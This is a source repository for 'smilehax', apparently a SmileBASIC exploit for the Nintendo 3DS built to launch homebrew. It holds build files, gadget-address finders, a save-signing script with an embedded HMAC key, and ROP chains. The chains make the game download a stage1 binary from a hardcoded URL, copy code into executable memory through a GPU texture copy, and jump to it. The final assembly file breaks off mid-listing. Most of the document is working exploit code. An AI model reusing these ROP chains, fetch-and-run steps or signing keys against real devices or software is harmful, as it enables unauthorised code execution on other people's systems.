├── Makefile ├── find_addrs.sh ├── scripts └── make_script.py ├── src ├── constants.h ├── constants.py ├── installer_stage0.py ├── installer_stage1.s ├── macros.h ├── persistent_stage0.py ├── persistent_stage1.s └── rop_generator.py └── test_locally.sh /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all new_jap300 old_jap300 new_usa321 old_usa321 new_usa331 old_usa331 clean 2 | 3 | PYTHON_FILES=src/*.py 4 | HEADER_FILES=src/*.h 5 | 6 | HTTP_BASE?=http://smealum.github.io/3ds/s 7 | 8 | ################################################################################ 9 | all: new_jap300 old_jap300 new_usa321 old_usa321 new_usa331 old_usa331 10 | new_jap300: build/new_jap300/installer.txt build/new_jap300/installer.bin build/new_jap300/THAX build/new_jap300/BPAYLOAD 11 | old_jap300: build/old_jap300/installer.txt build/old_jap300/installer.bin build/old_jap300/THAX build/old_jap300/BPAYLOAD 12 | new_usa321: build/new_usa321/installer.txt build/new_usa321/installer.bin build/new_usa321/THAX build/new_usa321/BPAYLOAD 13 | old_usa321: build/old_usa321/installer.txt build/old_usa321/installer.bin build/old_usa321/THAX build/old_usa321/BPAYLOAD 14 | new_usa331: build/new_usa331/installer.txt build/new_usa331/installer.bin build/new_usa331/THAX build/new_usa331/BPAYLOAD 15 | old_usa331: build/old_usa331/installer.txt build/old_usa331/installer.bin build/old_usa331/THAX build/old_usa331/BPAYLOAD 16 | clean: 17 | rm -rf build/ 18 | 19 | ### INSTALLER STAGE 0 (BASIC SCRIPT + INITIAL ROP) ############################# 20 | build/new_jap300/installer.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_jap300\"" -DJAP300 -DNEW3DS 21 | build/old_jap300/installer.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_jap300\"" -DJAP300 22 | build/new_usa321/installer.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa321\"" -DUSA321 -DNEW3DS 23 | build/old_usa321/installer.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa321\"" -DUSA321 24 | build/new_usa331/installer.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa331\"" -DUSA331 -DNEW3DS 25 | build/old_usa331/installer.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa331\"" -DUSA331 26 | 27 | build/%/installer.txt: $(PYTHON_FILES) 28 | mkdir -p $(dir $@) 29 | python2 src/installer_stage0.py $(DEFINES) > $@ 30 | 31 | ### INSTALLER STAGE 1 (ROP + INITIAL CODE) ##################################### 32 | build/new_jap300/installer.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_jap300\"" -DJAP300 -DNEW3DS 33 | build/old_jap300/installer.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_jap300\"" -DJAP300 34 | build/new_usa321/installer.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa321\"" -DUSA321 -DNEW3DS 35 | build/old_usa321/installer.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa321\"" -DUSA321 36 | build/new_usa331/installer.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa331\"" -DUSA331 -DNEW3DS 37 | build/old_usa331/installer.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa331\"" -DUSA331 38 | 39 | build/%/installer.bin: build/%/installer.elf 40 | arm-none-eabi-objcopy -O binary $< $@ 41 | 42 | build/%/installer.elf: src/installer_stage1.s $(HEADER_FILES) 43 | arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o $@ $< 44 | 45 | ### PERSISTENT STAGE 0 (BASIC SCRIPT + INITIAL ROP) ############################ 46 | build/new_jap300/persistent.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_jap300\"" -DJAP300 -DNEW3DS 47 | build/old_jap300/persistent.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_jap300\"" -DJAP300 48 | build/new_usa321/persistent.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa321\"" -DUSA321 -DNEW3DS 49 | build/old_usa321/persistent.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa321\"" -DUSA321 50 | build/new_usa331/persistent.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa331\"" -DUSA331 -DNEW3DS 51 | build/old_usa331/persistent.txt: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa331\"" -DUSA331 52 | 53 | build/%/persistent.txt: $(PYTHON_FILES) 54 | python2 src/persistent_stage0.py $(DEFINES) > $@ 55 | 56 | build/%/THAX: build/%/persistent.txt 57 | ./scripts/make_script.py $^ $@ 58 | 59 | ### PERSISTENT STAGE 1 (INITIAL CODE) ########################################## 60 | build/new_jap300/persistent.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_jap300\"" -DJAP300 -DNEW3DS 61 | build/old_jap300/persistent.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_jap300\"" -DJAP300 62 | build/new_usa321/persistent.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa321\"" -DUSA321 -DNEW3DS 63 | build/old_usa321/persistent.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa321\"" -DUSA321 64 | build/new_usa331/persistent.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"new_usa331\"" -DUSA331 -DNEW3DS 65 | build/old_usa331/persistent.elf: DEFINES := -DHTTP_BASE="\"$(HTTP_BASE)\"" -DHAX_COMBO="\"old_usa331\"" -DUSA331 66 | 67 | build/%/BPAYLOAD: build/%/persistent.elf 68 | arm-none-eabi-objcopy -O binary $< $@ 69 | 70 | build/%/persistent.elf: src/persistent_stage1.s $(HEADER_FILES) 71 | arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o $@ $< 72 | 73 | -------------------------------------------------------------------------------- /find_addrs.sh: -------------------------------------------------------------------------------- 1 | # Usage: ./smilehax_genropaddrs.sh 2 | 3 | codebin=$1 4 | 5 | PATTERNFINDER_BLACKLISTPARAM=--blacklist=0x00101000-0x0010D000 6 | 7 | # Locate HTTPC_INITSTRUCT. 8 | 9 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=3886b0137d4377756b36dc2a6849bc92632d264cd3225d2129cca8f24f02bdac --patternsha256size=0x4c "--plainout=#define HTTPC_INITSTRUCT "` 10 | 11 | if [[ $? -eq 0 ]]; then 12 | echo "$printstr" 13 | else 14 | echo "//ERROR: HTTPC_INITSTRUCT not found." 15 | exit 1 16 | fi 17 | 18 | # TODO: Update this to locate it properly? 19 | # Locate HTTPC_BEGINREQUEST. 20 | 21 | #printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=d1d9d26b26ec3696c4e44bf70134dbf12e158392f5fc38b13aa8053ac94cde4c --patternsha256size=0x18 "--plainout=#define HTTPC_BEGINREQUEST "` 22 | 23 | #if [[ $? -eq 0 ]]; then 24 | # echo "$printstr" 25 | #else 26 | # echo "//ERROR: HTTPC_BEGINREQUEST not found." 27 | # exit 1 28 | #fi 29 | 30 | # Locate HTTPC_RECVDATA. 31 | 32 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=be1a6eb149cc9e1a3aec716a405f0f6feac02ec25046cd8cb17ed2c71e07a889 --patternsha256size=0x30 "--plainout=#define HTTPC_RECVDATA "` 33 | 34 | if [[ $? -eq 0 ]]; then 35 | echo "$printstr" 36 | else 37 | echo "//ERROR: HTTPC_RECVDATA not found." 38 | exit 1 39 | fi 40 | 41 | 42 | # Locate GADGET_POP_R0PC. 43 | 44 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=e0160ca8a7f0ec85bd4b01d8756fb82e38344124545f0a7d58ae2ac288da17cc --patternsha256size=0x4 "--plainout=#define GADGET_POP_R0PC "` 45 | if [[ $? -eq 0 ]]; then 46 | echo "$printstr" 47 | else 48 | echo "//ERROR: GADGET_POP_R0PC not found." 49 | exit 1 50 | fi 51 | 52 | # Locate GADGET_POP_R1PC. 53 | 54 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=1db27e1b47976b065367f34eee05cdc06421c0053cadb2dfdd81ec315a47daff --patternsha256size=0x4 "--plainout=#define GADGET_POP_R1PC "` 55 | if [[ $? -eq 0 ]]; then 56 | echo "$printstr" 57 | else 58 | echo "//ERROR: GADGET_POP_R1PC not found." 59 | exit 1 60 | fi 61 | 62 | # Locate GADGET_POP_R0R1R2R3R4R5R6__POP_R3__ADD_SP_0x10__BX_R3. 63 | 64 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=239069af3d9542d671edee9e0b0e8cbd4f5ba03923307480e25c8a638acfca7f --patternsha256size=0x8 "--plainout=#define GADGET_POP_R0R1R2R3R4R5R6__POP_R3__ADD_SP_0x10__BX_R3 " --addval=0x1 --stride=0x2` 65 | if [[ $? -eq 0 ]]; then 66 | echo "$printstr" 67 | else 68 | echo "//ERROR: GADGET_POP_R0R1R2R3R4R5R6__POP_R3__ADD_SP_0x10__BX_R3 not found." 69 | exit 1 70 | fi 71 | 72 | # Locate GADGET_POP_R4R5LR__BX_LR. 73 | 74 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=8ede950d3dc59e8709e737b018a1316afb1e4293fc0046a95bcb140570d21683 --patterndatamask=ffffffff000000ff00000000ffffffff --patternsha256size=0x10 "--plainout=#define GADGET_POP_R4R5LR__BX_LR "` 75 | 76 | if [[ $? -eq 0 ]]; then 77 | echo "$printstr" 78 | else 79 | echo "//ERROR: GADGET_POP_R4R5LR__BX_LR not found." 80 | exit 1 81 | fi 82 | 83 | echo "" 84 | 85 | # Locate SVC_SLEEP_THREAD. 86 | 87 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=a424f8b938aa4919842c18cf173c854c6412bacc5bf48ff0abbb7164e69ec507 --patternsha256size=0x8 "--plainout=#define SVC_SLEEP_THREAD "` 88 | 89 | if [[ $? -eq 0 ]]; then 90 | echo "$printstr" 91 | else 92 | echo "//ERROR: SVC_SLEEP_THREAD not found." 93 | exit 1 94 | fi 95 | 96 | # Locate GSP_FLUSH_DATA_CACHE. 97 | 98 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=13e4f43b6452910ff7a0dc1804e38c4e5dba166750871a37c7beefd22995a484 --patternsha256size=0x18 "--plainout=#define GSP_FLUSH_DATA_CACHE " --addval=0x4` 99 | 100 | if [[ $? -eq 0 ]]; then 101 | echo "$printstr" 102 | else 103 | echo "//ERROR: GSP_FLUSH_DATA_CACHE not found." 104 | exit 1 105 | fi 106 | 107 | # Locate MEMCPY. 108 | 109 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=af9b979211128ac5b9ec87508960da11a378820b0df7899576628e36dc662449 --patternsha256size=0x5c "--plainout=#define MEMCPY "` 110 | 111 | if [[ $? -eq 0 ]]; then 112 | echo "$printstr" 113 | else 114 | echo "//ERROR: MEMCPY not found." 115 | exit 1 116 | fi 117 | 118 | # Locate SNPRINTF. 119 | # NOTE: This fails with certain codebin(s). 120 | 121 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=2c961c6a66c85246fa4401757534abd94facb0ce8d0b9d04c32905f733ece072 --patterndatamask=ffffffffffffffffffffffffffffffffffffffff000000ffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffffffffffffffff --patternsha256size=0x3c "--plainout=#define SNPRINTF " --addval=0x20` 122 | 123 | if [[ $? -eq 0 ]]; then 124 | echo "$printstr" 125 | else 126 | echo "//ERROR: SNPRINTF not found." 127 | #exit 1 128 | fi 129 | 130 | # Locate GSP_ENQUEUE_CMD_GADGET. 131 | 132 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=5b8c4b55aa2a6197ba8b04048debf2664df7974eb3aae8c148d7a669d80151bf --patterndatamask=ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffffffffffffffff000000ffffffffffffffffff --patternsha256size=0x7c "--plainout=#define GSP_ENQUEUE_CMD_GADGET " --addval=0x64` 133 | 134 | if [[ $? -eq 0 ]]; then 135 | echo "$printstr" 136 | else 137 | echo "//WARNING: GSP_ENQUEUE_CMD_GADGET not found." 138 | fi 139 | 140 | # Locate GXLOW_CMD4. 141 | 142 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $ROPKIT_PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=406e130dfe0a99ba64c16ac6ec4a53355cb36f090647b73c5382ea180c88e72c --patternsha256size=0x30 "--plainout=#define GXLOW_CMD4 "` 143 | if [[ $? -eq 0 ]]; then 144 | echo "$printstr" 145 | else 146 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $ROPKIT_PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=92aaae0b22699ada29758d0f9c7043897b634196c87c0e6a3c9f562e221d751d --patternsha256size=0x3c "--plainout=#define GXLOW_CMD4 "` 147 | 148 | if [[ $? -eq 0 ]]; then 149 | echo "$printstr" 150 | else 151 | echo "//ERROR: GXLOW_CMD4 not found." 152 | exit 1 153 | fi 154 | fi 155 | 156 | # Locate GADGET_R3. 157 | 158 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 $PATTERNFINDER_BLACKLISTPARAM --patterntype=sha256 --patterndata=34c90c0722eaee19ec9a8c7dcb85f708066837c7e65d9e127f6052dc730f3465 --patternsha256size=0x4 "--plainout=#define GADGET_R3 "` 159 | if [[ $? -eq 0 ]]; then 160 | echo "$printstr" 161 | else 162 | echo "//ERROR: GADGET_R3 not found." 163 | exit 1 164 | fi 165 | 166 | # Locate GADGET_R1R2R3R4R5. 167 | 168 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=698558cfe309dc534cb562046e041022fd930427110dc4cd7dbe7986c6c155c3 --patternsha256size=0x2 "--plainout=#define GADGET_R1R2R3R4R5 " --addval=0x1 --stride=0x2` 169 | if [[ $? -eq 0 ]]; then 170 | echo "$printstr" 171 | else 172 | echo "//ERROR: GADGET_R1R2R3R4R5 not found." 173 | exit 1 174 | fi 175 | 176 | # Locate GADGET_NOP. 177 | 178 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=842555e8c82550c2c431530590fe143174ca0d28d1e35a941b87cdee5e5fd465 --patternsha256size=0x4 "--plainout=#define GADGET_NOP "` 179 | 180 | if [[ $? -eq 0 ]]; then 181 | echo "$printstr" 182 | else 183 | echo "//ERROR: GADGET_NOP not found." 184 | exit 1 185 | fi 186 | 187 | # Locate GSPGPU_SERVHANDLEADR. 188 | 189 | printstr=`ropgadget_patternfinder $1 --baseaddr=0x100000 --patterntype=sha256 --patterndata=56d7a4a092f431aca4c7091f82482481324df2fd1e27fd86a6d7cd4904ca9af2 --patterndatamask=ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000ffffffffff --patternsha256size=0x24 --dataload=0x28 "--plainout=#define GSPGPU_SERVHANDLEADR "` 190 | 191 | if [[ $? -eq 0 ]]; then 192 | echo "$printstr" 193 | else 194 | echo "//ERROR: GSPGPU_SERVHANDLEADR not found." 195 | exit 1 196 | fi 197 | 198 | -------------------------------------------------------------------------------- /scripts/make_script.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys 4 | import struct 5 | import hashlib 6 | import hmac 7 | 8 | HMAC_KEY = \ 9 | '''nqmby+e9S?{%U*-V]51n%^xZMk8>b{?x]&?(NmmV[,g85:%6Sqd"'U")/8u77UL2''' 10 | 11 | buf = open(sys.argv[1], 'rb').read() 12 | out = open(sys.argv[2], 'wb') 13 | 14 | data_len = len(buf) 15 | 16 | hdr = struct.pack('IIII', data_len, 0x10000, data_len, 0) + \ 17 | struct.pack('IIII', 0, 0, 0, 0) + \ 18 | struct.pack('IH42s', 0, 0, b'Launch homebrew!') 19 | 20 | buf = hdr + buf 21 | 22 | h = hmac.new(bytearray(HMAC_KEY, 'utf-8'), digestmod=hashlib.sha1) 23 | h.update(buf) 24 | 25 | #import binascii 26 | #print(binascii.hexlify(buf)) 27 | #print(binascii.hexlify(h.digest())) 28 | 29 | out.write(buf) 30 | out.write(h.digest()) 31 | -------------------------------------------------------------------------------- /src/constants.h: -------------------------------------------------------------------------------- 1 | /* smilehax - smilebasic exploit */ 2 | /* plutoo 2016 */ 3 | 4 | REGION_CONST(CODE_DST_VA, 0x00279900, TODO, 0x002a2400); 5 | #ifdef NEW3DS 6 | REGION_CONST(CODE_DST_PA, 0x27aa9900, TODO, 0x27ab2400); 7 | #else 8 | REGION_CONST(CODE_DST_PA, 0x23ea9900, TODO, 0x23eb2400); 9 | #endif 10 | 11 | GLOBAL_CONST(CODE_BUF, 0x30020000); 12 | GLOBAL_CONST(STAGE1_BASE, 0x30010000); 13 | GLOBAL_CONST(OTHERAPP_CODE_VA, 0x00101000); 14 | GLOBAL_CONST(OTHERAPP_CODE_PA, CODE_VA_TO_PA(OTHERAPP_CODE_VA)); 15 | GLOBAL_CONST(OTHERAPP_SIZE, 0xC000); 16 | GLOBAL_CONST(PARAMBLK_ADDR, 0x30000000); 17 | GLOBAL_CONST(FRAMEBUF_ADDR, 0x30000000); 18 | GLOBAL_CONST(FRAMEBUF_SIZE, (400*240*4)); 19 | 20 | /* Functions. */ 21 | REGION_CONST(SVC_SLEEP_THREAD, 0x001d0850, TODO, 0x001e5628); 22 | REGION_CONST(SVC_KILL_THREAD, 0x0011e4dc, TODO, 0x0011ee2c); 23 | REGION_CONST(GSP_WRITE_HW_REGS, 0x0012076c, TODO, 0x0012151c); 24 | REGION_CONST(GSP_FLUSH_DATA_CACHE, 0x00125fa8, TODO, 0x00126a70); 25 | REGION_CONST(GSPGPU_SERVHANDLEADR, 0x002cdcdc, TODO, 0x002f785c); 26 | REGION_CONST(GSP_GX_CMD4, 0x00126114, TODO, 0x00126b70); 27 | REGION_CONST(GSP_THREAD_OBJ_PTR, 0x002a3c40, TODO, 0x002dac40); 28 | REGION_CONST(MEMCPY, 0x001da684, TODO, 0x001ef248); 29 | REGION_CONST(SNPRINTF, 0x0011a0e8, TODO, 0x001ebc3c); 30 | REGION_CONST(HTTPC_INITSTRUCT, 0x001b81dc, TODO, 0x001cc384); 31 | REGION_CONST(HTTPC_BEGINREQUEST, 0x001b8194, TODO, 0x00255dd4); 32 | REGION_CONST(HTTPC_RECVDATA, 0x001b7c0c, TODO, 0x001cd034); 33 | REGION_CONST(HTTPC_GETSIZE, 0x002504a4, TODO, 0x00270e1c); 34 | REGION_CONST(FS_CREATE_FILE, 0x001e0de8, TODO, 0x0020047c); 35 | REGION_CONST(FS_OPEN_FILE, 0x001dd544, TODO, 0x001ec1f4); 36 | REGION_CONST(FS_WRITE_FILE, 0x00116cd8, TODO, 0x00117824); 37 | REGION_CONST(FS_READ_FILE, 0x0010f1ac, TODO, 0x001e28f8); 38 | REGION_CONST(FS_DELETE_FILE, 0x001c46f8, TODO, 0x001d8d24); 39 | 40 | /* Rop gadgets. */ 41 | REGION_CONST(GSP_ENQUEUE_CMD_GADGET, 0x00125e24, TODO, 0x001268ec); 42 | REGION_CONST(GADGET_R0, 0x00134544, TODO, 0x001340ec); 43 | REGION_CONST(GADGET_R1, 0x001deb70, TODO, 0x001f5054); 44 | REGION_CONST(GADGET_R1R2R3R4R5, 0x00103b57, TODO, 0x001039bf); 45 | REGION_CONST(GADGET_NOP, 0x0010193d, TODO, 0x00104450); 46 | REGION_CONST(GADGET_POP_R4R5LR__BX_LR, 0x00104730, TODO, 0x001045d4); 47 | -------------------------------------------------------------------------------- /src/constants.py: -------------------------------------------------------------------------------- 1 | # smilehax - smilebasic 3ds exploit 2 | # plutoo 2016 3 | 4 | import sys 5 | 6 | def REGION_CONST(jap300, usa321, usa331): 7 | if '-DJAP300' in sys.argv: 8 | return jap300 9 | if '-DUSA321' in sys.argv: 10 | return usa321 11 | if '-DUSA331' in sys.argv: 12 | return usa331 13 | raise Exception('wat') 14 | 15 | def get_define(name): 16 | for a in sys.argv: 17 | if a.startswith('-D%s=' % name): 18 | a = a[a.find('"')+1:] 19 | a = a[:a.find('"')] 20 | return a 21 | raise Exception('Expected %s as a define.' % name) 22 | 23 | TODO = 0 24 | 25 | CODE_DST_VA = REGION_CONST(0x00279900, TODO, 0x002a2400); 26 | if '-DNEW3DS' in sys.argv: 27 | CODE_DST_PA = REGION_CONST(0x27aa9900, TODO, 0x27ab2400); 28 | else: 29 | CODE_DST_PA = REGION_CONST(0x23ea9900, TODO, 0x23eb2400); 30 | 31 | INSTALLER_STAGE1_URL = '%s/%s/installer.bin\0' % \ 32 | (get_define('HTTP_BASE'), get_define('HAX_COMBO')) 33 | INSTALLER_STAGE1_SIZE = 0x800 34 | INSTALLER_STAGE1_BASE = 0x30010000 35 | PERSISTENT_STAGE1_SIZE = 0x800 36 | 37 | ROP_START = REGION_CONST(0x0ffffce0-4, TODO, 0x0ffffcc8-4) 38 | ROP_SAFE = 0x30000000 39 | # This is the addr and size of the table that the arbitrary-write is based off. 40 | TABLE_OBJ_SIZE = REGION_CONST(0x000209a0, TODO, 0x000209c0) 41 | TABLE_BASE_OFFSET = REGION_CONST(0x84, TODO, 0x90) 42 | # Various valid addresses. 43 | CODE_BUF = 0x30020000 44 | SCRAP_AREA = 0x00400000 # Assumed zero'd. 45 | # HTTP stuff. 46 | HTTPC_STRUCT_PTR = SCRAP_AREA 47 | HTTPC_INITSTRUCT = REGION_CONST(0x001b81dc, TODO, 0x001cc384) 48 | HTTPC_BEGINREQUEST = REGION_CONST(0x001b8194, TODO, 0x00255dd4) 49 | HTTPC_RECVDATA = REGION_CONST(0x001b7c0c, TODO, 0x001cd034) 50 | # FS functions. 51 | FS_OPEN_FILE = REGION_CONST(0x001dd544, TODO, 0x001ec1f4) 52 | FS_READ_FILE = REGION_CONST(0x0010f1ac, TODO, 0x001e28f8) 53 | # GSP stuff. 54 | GSP_FLUSH_DATA_CACHE = REGION_CONST(0x00125fa8, TODO, 0x00126a70) 55 | GSP_ENQUEUE_CMD_GADGET = REGION_CONST(0x00125e24, TODO, 0x001268ec) 56 | # Other functions. 57 | SVC_SLEEP_THREAD = REGION_CONST(0x001d0850, TODO, 0x001e5628) 58 | # Gadgets. 59 | GADGET_NOP = REGION_CONST(0x0010193d, TODO, 0x00104450); 60 | GADGET_MOV_SP_R0__MOV_R0_R2__BX_R1 = REGION_CONST(0x00134548, TODO, 0x001340f0) 61 | GADGET_R0 = REGION_CONST(0x00134544, TODO, 0x001340ec) 62 | GADGET_R1 = REGION_CONST(0x001deb70, TODO, 0x001f5054) 63 | GADGET_R1R2R3R4R5 = REGION_CONST(0x00103b57, TODO, 0x001039bf) 64 | GADGET_POP_R4R5LR__BX_LR = REGION_CONST(0x00104730, TODO, 0x001045d4) 65 | 66 | # Virtual memory macros. 67 | PA_TO_GPU_ADDR = lambda pa: pa + 0x10000000 68 | GPU_TO_PA_ADDR = lambda pa: pa - 0x10000000 69 | -------------------------------------------------------------------------------- /src/installer_stage0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | # smilehax - smilebasic 3ds exploit 4 | # plutoo 2016 5 | 6 | from constants import * 7 | from rop_generator import * 8 | 9 | print 'OA$=""' 10 | 11 | emit_hdr() 12 | 13 | emit_rop([ 14 | GADGET_R0, # pop {r0, pc} 15 | HTTPC_STRUCT_PTR, # r0, struct_ptr 16 | GADGET_R1R2R3R4R5, # pop {r1-r5, pc} 17 | PtrToStr(INSTALLER_STAGE1_URL), # r1, www 18 | 1, # r2, http_method=GET 19 | DontCare, # r3 20 | DontCare, # r4 21 | DontCare, # r5 22 | HTTPC_INITSTRUCT+4, # httpc::InitStruct(...), also r3=use_proxy=true 23 | DontCare, # r3 24 | DontCare, # r4 25 | DontCare, # r5 26 | DontCare, # r6 27 | DontCare, # r7 28 | DontCare, # r8 29 | DontCare, # r9 30 | GADGET_POP_R4R5LR__BX_LR, # pop {r4, r5, lr}; bx lr 31 | DontCare, # r4 32 | DontCare, # r5 33 | GADGET_R0, # pop {r0, pc}, also lr 34 | HTTPC_STRUCT_PTR, # r0, struct_ptr 35 | HTTPC_BEGINREQUEST, # httpc::BeginRequest(...) 36 | DontCare, # r0, from lr-gadget 37 | GADGET_R0, # pop {r0, pc} 38 | HTTPC_STRUCT_PTR, # r0, struct_ptr 39 | GADGET_R1R2R3R4R5, # pop {r1-r3, pc} 40 | INSTALLER_STAGE1_BASE, # r1, out_ptr 41 | INSTALLER_STAGE1_SIZE, # r2, out_size 42 | DontCare, # r3 43 | DontCare, # r4 44 | DontCare, # r5 45 | HTTPC_RECVDATA, # httpc::RecvData(...), also r3 46 | DontCare, # r0, from lr-gadget 47 | GADGET_R0, # pop {r0, pc} 48 | INSTALLER_STAGE1_BASE, # r0 49 | GADGET_R1, # pop {r1, pc} 50 | GADGET_NOP, # r1 51 | GADGET_MOV_SP_R0__MOV_R0_R2__BX_R1 # mov sp, r0; mov r0, r2; bx r1 52 | ]) 53 | -------------------------------------------------------------------------------- /src/installer_stage1.s: -------------------------------------------------------------------------------- 1 | /* smilehax - smilebasic exploit */ 2 | /* plutoo 2016 */ 3 | 4 | #include "macros.h" 5 | #include "constants.h" 6 | 7 | #define MAKE_ADDR(addr) (addr - start + STAGE1_BASE) 8 | #define CODE_SIZE (code_end - code_start) 9 | 10 | start: 11 | .word GADGET_R0 // pop {r0, pc} 12 | .word CODE_BUF // r0 13 | .word GADGET_R1R2R3R4R5 // pop {r1-r5, pc} 14 | .word MAKE_ADDR(code_start) // r1 15 | .word CODE_SIZE // r2 16 | .word GARBAGE // r3 17 | .word GARBAGE // r4 18 | .word GARBAGE // r5 19 | .word MEMCPY+4 // memcpy(...), copy code to linear mem 20 | .word GARBAGE // r4 21 | .word GARBAGE // r5 22 | .word GARBAGE // r6 23 | .word GARBAGE // r7 24 | .word GARBAGE // r8 25 | .word GARBAGE // r9 26 | .word GARBAGE // r10 27 | .word GADGET_R0 // pop {r0, pc} 28 | .word CODE_BUF // r0 29 | .word GADGET_R1 // pop {r1, pc} 30 | .word CODE_SIZE // r1 31 | .word GSP_FLUSH_DATA_CACHE+4 // gsp::FlushDataCache(...) 32 | .word GARBAGE // r4 33 | .word GARBAGE // r5 34 | .word GARBAGE // r6 35 | .word GSP_ENQUEUE_CMD_GADGET // gsp::EnqueueGpuCommand(...) 36 | .word 4 // sp_arg0 cmd_type=TEXTURE_COPY 37 | .word CODE_BUF // sp_arg1 src_ptr 38 | .word PA_TO_GPU_ADDR(CODE_DST_PA) // sp_arg2 dst_ptr 39 | .word CODE_SIZE // sp_arg3 size=code_size 40 | .word 0 // sp_arg4 in_dimensions=0 41 | .word 0 // sp_arg5 out_dimensions=0 42 | .word 8 // sp_arg6 flags=RAW_MEM_COPY 43 | .word 0 // sp_arg7 not used 44 | .word GARBAGE // ... 45 | .word GARBAGE // r4 46 | .word GARBAGE // r5 47 | .word GARBAGE // r6 48 | .word GARBAGE // r7 49 | .word GADGET_POP_R4R5LR__BX_LR // initialize lr to pop {r0, pc} 50 | .word GARBAGE // r4 51 | .word GARBAGE // r5 52 | .word GADGET_R0 // pop {r0, pc} 53 | .word GARBAGE // r0 54 | .word GADGET_R0 // pop {r0, pc} 55 | .word 1000000000 // r0 ticks_lo 56 | .word GADGET_R1 // pop {r1, pc} 57 | .word 0 // r1 ticks_hi 58 | .word SVC_SLEEP_THREAD // svc::SleepThread(...) 59 | .word GARBAGE // r0, from lr-pop 60 | .word CODE_DST_VA // jump to code 61 | 62 | .org 0x100, 0x44 63 | code_start: 64 | sub sp, #0x100 65 | 66 | /* Blue screen. */ 67 | bl framebuffer_reset 68 | ldr r0, =0x0000FFFF 69 | bl framebuffer_fill 70 | 71 | /* Scan looking for OA$= string in original payload. */ 72 | ldr r0, =0x00F00000 73 | ldr r2, =(0x01D00000-0x00F00000) 74 | ldr r3, =0x0041004F 75 | __scan_loop: 76 | ldr r1, [r0] 77 | cmp r1, r3 78 | beq __found 79 | add r0, #4 80 | sub r2, #1 81 | cmp r2, #0 82 | bne __scan_loop 83 | /* Orange screen on failure to find it. */ 84 | ldr r1, =0xFF8000FF 85 | b panic 86 